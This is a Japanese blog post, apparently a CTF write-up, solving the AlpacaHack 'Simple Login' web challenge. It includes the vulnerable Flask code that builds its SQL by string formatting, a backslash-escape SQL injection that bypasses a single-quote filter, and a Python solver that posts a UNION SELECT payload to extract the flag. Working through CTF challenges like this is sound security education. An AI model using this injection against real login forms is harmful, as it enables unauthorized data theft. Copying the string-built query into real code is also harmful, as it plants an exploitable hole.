0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

ctf upsolve by kodai Advent Calendar 2025(Day6)

0
Posted at

ctf upsolve by kodai Advent Calendar 2025のDay6(???)の記事になります。
夜に書こうと思って寝落ちしたら、気づいた時には次の日でした。
よって1日遅れ(2日遅れ)にはなりますが、upsolveやっていきたいと思います。

取り扱った問題

AlpacaHack Round 2 (Web) Simple Login
Author: ark


upsolve

URLにアクセスするとNameとPasswordを要求されるシンプルなログイン画面が与えられます。
image.png

以下がサーバ側のソースコードです

from flask import Flask, request, redirect, render_template
import pymysql.cursors
import os


def db():
    return pymysql.connect(
        host=os.environ["MYSQL_HOST"],
        user=os.environ["MYSQL_USER"],
        password=os.environ["MYSQL_PASSWORD"],
        database=os.environ["MYSQL_DATABASE"],
        charset="utf8mb4",
        cursorclass=pymysql.cursors.DictCursor,
    )


app = Flask(__name__)


@app.get("/")
def index():
    if "username" not in request.cookies:
        return redirect("/login")
    return render_template("index.html", username=request.cookies["username"])


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if username is None or password is None:
            return "Missing required parameters", 400
        if len(username) > 64 or len(password) > 64:
            return "Too long parameters", 400
        if "'" in username or "'" in password:
            return "Do not try SQL injection 🤗", 400

        conn = None
        try:
            conn = db()
            with conn.cursor() as cursor:
                cursor.execute(
                    f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
                )
                user = cursor.fetchone()
        except Exception as e:
            return f"Error: {e}", 500
        finally:
            if conn is not None:
                conn.close()

        if user is None or "username" not in user:
            return "No user", 400

        response = redirect("/")
        response.set_cookie("username", user["username"])
        return response
    else:
        return render_template("login.html")

サーバ側で叩かれているSQLを見ると、SQL文をそのまま叩くことができます。

cursor.execute(
    f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
)

しかしユーザとパスワード入力には以下の制限がかかっています。

  • usernameかpasswordに存在すると400エラー
  • usernameかpasswordの長さが64より大きいと400エラー
  • 'が含まれていると、Do not try SQL injection 🤗が返ってくる

'を使わずにSQL Injectionを引き起こすことができれば良さそうです。
FLAGはflagテーブルにあります

USE chall;

DROP TABLE IF EXISTS flag;
CREATE TABLE IF NOT EXISTS flag (
    value VARCHAR(128) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;

-- On the remote server, a real flag is inserted.
INSERT INTO flag (value) VALUES ('Alpaca{REDACTED}');

DROP TABLE IF EXISTS users;
CREATE TABLE IF NOT EXISTS users (
    username VARCHAR(16) PRIMARY KEY,
    password VARCHAR(16) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;

INSERT INTO users (username, password) VALUES ('admin', 'pass');
INSERT INTO users (username, password) VALUES ('hacker', '1337');

'をどうにか使うことができないか調べて見ると、ドキュメントに以下のような記述がありました

文字列に引用符を含める方法は、いくつかあります。
'で引用符で囲まれた文字列内の'は、''として記述できます。
"で引用符で囲まれた文字列内の"は、""として記述できます。
引用符文字の直前にエスケープ文字 () を指定します。
"で引用符で囲まれた文字列内の'は特別な処理を必要とせず、二重にしたりエスケープしたりする必要はありません。 同様に、'で引用符で囲まれた文字列内の"では、特別な処理は必要ありません。

ドキュメント : https://dev.mysql.com/doc/refman/8.0/ja/string-literals.html

つまり\''と認識させることができます。

SELECT * FROM users WHERE username = '\' AND password = 'password'

このように入力すると、\' AND password = ' がただの文字列として扱われるため、flagを呼び出すところは文字列の外に出ます。後はこれを使ってUNION句でSQL文を結合します。
以下がsolverです。

#!/usr/bin/env python3
import os
import httpx

TARGET = os.getenv("TARGET", "http://34.170.146.252:8793")

def main():
    client = httpx.Client(base_url=TARGET, timeout=10.0)

    data = {
        "username": "\\",
        "password": "UNION SELECT value, value FROM flag -- ",
    }

    res = client.post(
        "/login",
        data=data,
        follow_redirects=True,
    )

    print("[*] status:", res.status_code)
    print("[*] body:")
    print(res.text)

if __name__ == "__main__":
    main()

すると以下のレスポンスが返ってきます。

[*] status: 200
[*] body:
<!DOCTYPE html>
<html>
  <head>
    <link
      rel="stylesheet"
      href="https://cdn.jsdelivr.net/npm/@picocss/pico@2/css/pico.classless.min.css"
    />
    <title>Simple Login</title>
  </head>
  <body>
    <main>
      <h1>Simple Login</h1>
      <p>Hello, Alpaca{SQLi_with0ut_5ingle_quot3s!}</p>
      <marquee scrollamount="16" direction="right">
        Logged in successfully🎉
      </marquee>
    </main>
  </body>
</html>

FLAG : Alpaca{SQLi_with0ut_5ingle_quot3s!}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?